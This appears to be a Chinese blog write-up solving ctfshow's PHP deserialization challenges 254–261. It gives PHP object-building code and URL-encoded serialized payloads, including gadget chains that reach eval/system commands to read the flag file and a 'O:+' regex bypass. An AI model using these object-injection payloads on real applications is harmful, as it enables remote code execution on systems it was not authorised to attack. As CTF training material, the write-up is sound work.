ctfshow web入门 反序列化

文章讲述了在PHP代码中,通过分析ctfShowUser类的登录逻辑和序列化操作,发现的漏洞,如何通过构造特定payload实现VIP权限验证绕过,以及后续的代码修改和安全问题。
摘要由CSDN通过智能技术生成

254

分析代码:

如果用户名和密码参数都存在,脚本会创建一个 ctfShowUser 类的实例 $user

接着,调用 $user->login($username, $password) 方法尝试登录。如果登录成功(即用户名和密码与类中的默认值匹配),并且用户被标记为VIP($isVip 为 true),则调用 $user->vipOneKeyGetFlag() 方法输出 $flag 的值。

如果登录失败或用户不是VIP,脚本将输出 "no vip, no flag"。

要让程序返回true

需要确保通过GET请求传递的用户名和密码与 ctfShowUser 类中定义的默认用户名和密码相匹配。默认的用户名和密码都是 'xxxxxx'。

payload:

?username=xxxxxx&password=xxxxxx

255

第一个 if 语句检查是否通过GET请求设置了用户名和密码。

第二个 if 语句检查通过反序列化cookie中的用户对象调用 login 方法后返回的结果。

构造代码:

<?php
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
   } 
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

?>

序列化得到:

O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

将代码进行url编码

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

更改cookie为:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

payload和254相同

?username=xxxxxx&password=xxxxxx

 

256

发现要求username和passaword的值不完全相等

if($this->username!==$this->password)

步骤同上题,构造:

<?php
//highlight_file(__FILE__);
 
 
class ctfShowUser{
    public $username='xxxxxx';
    public $password='a';
    public $isVip=false;
 
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    
}
 
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

 

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D
?username=xxxxxx&password=a

257

ctfShowUser

这个类有几个私有属性:$username、$password、$isVip 和 $class。

__construct 方法尝试创建一个 info 类的实例并赋值给 $class
login 方法检查传入的用户名和密码是否与类的私有属性 $username 和 $password 相匹配。
__destruct 方法在对象销毁时调用,尝试调用 $class 对象的 getInfo 方法。
info
存在一个私有属性 $user 和一个公共方法 getInfo,用于返回 $user 的值。
backDoor
存在一个私有属性 $code 和一个公共方法 getInfo。getInfo 方法使用 eval 执行 $code 属性的内容。
登录逻辑
代码从 $_GET 获取用户名和密码,并检查它们是否已设置。
如果设置了,代码尝试从 $_COOKIE['user'] 反序列化一个对象,并调用其 login 方法。

ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo

构造:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
 
    public function __construct(){
        $this->class=new backDoor();
    }
}
 
 
class backDoor{
    private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

payload

?username=xxxxxx&?password=xxxxxx

cookie

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

258

添加了正则匹配

使用正则表达式来检查序列化字符串是否以 o:c: 开头

用0:+数字即可绕过

构造代码:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';
 
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
 
class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
echo serialize(new ctfShowUser);
?>

修改一下:

O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
url编码

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D

259

260

构造代码:

<?php
class ctfshow{
    public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>

运行结果:

O:7:"ctfshow":1:{s:1:"a";s:18:"ctfshow_i_love_36D";}

261

highlight_file(__FILE__);
 
class ctfshowvip{
    public $username;
    public $password;
    public $code;
 
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
 
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
 
unserialize($_GET['vip']); 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值